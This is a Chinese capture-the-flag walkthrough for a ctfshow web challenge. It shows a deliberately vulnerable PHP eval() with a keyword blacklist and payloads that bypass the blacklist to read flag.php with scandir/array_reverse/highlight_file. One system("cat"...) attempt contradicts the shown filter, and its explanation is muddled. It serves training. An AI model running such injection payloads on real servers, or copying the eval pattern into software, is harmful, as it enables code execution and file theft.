CTFSHOW-入门-web30

题目信息

命令执行需要严格的过滤

打开网页提示

得到一段PHP代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这段代码里面与上一题相同,采用了正则表达式函数preg_match(),这次多了几个条件,一个是禁止含有flag/system/php这三个值

解题思路

当文件包含了flag/system/php就无法执行了,想办法绕过,我们采用路径拼接的方式去绕过

使用print_r函数来辅助我们看到具体的内容

getcwd()  // 获取当前所在的绝对路径
scandir() // 扫描目录下有什么文件
array_reverse() //使用反转列表 使flag.php在第二个位置

当需要读取数组第一个值的时候使用 current() 如果是第二个则是next()

之后,我们尝试拼接到system函数里

system("cat".next(array_reverse(scandir(getcwd()))))

发现无法查看内容,意思是被包含之后执行了代码,使用highlight_file()函数高亮显示代码

highlight_file(next(array_reverse(scandir(getcwd()))))

 

 


目录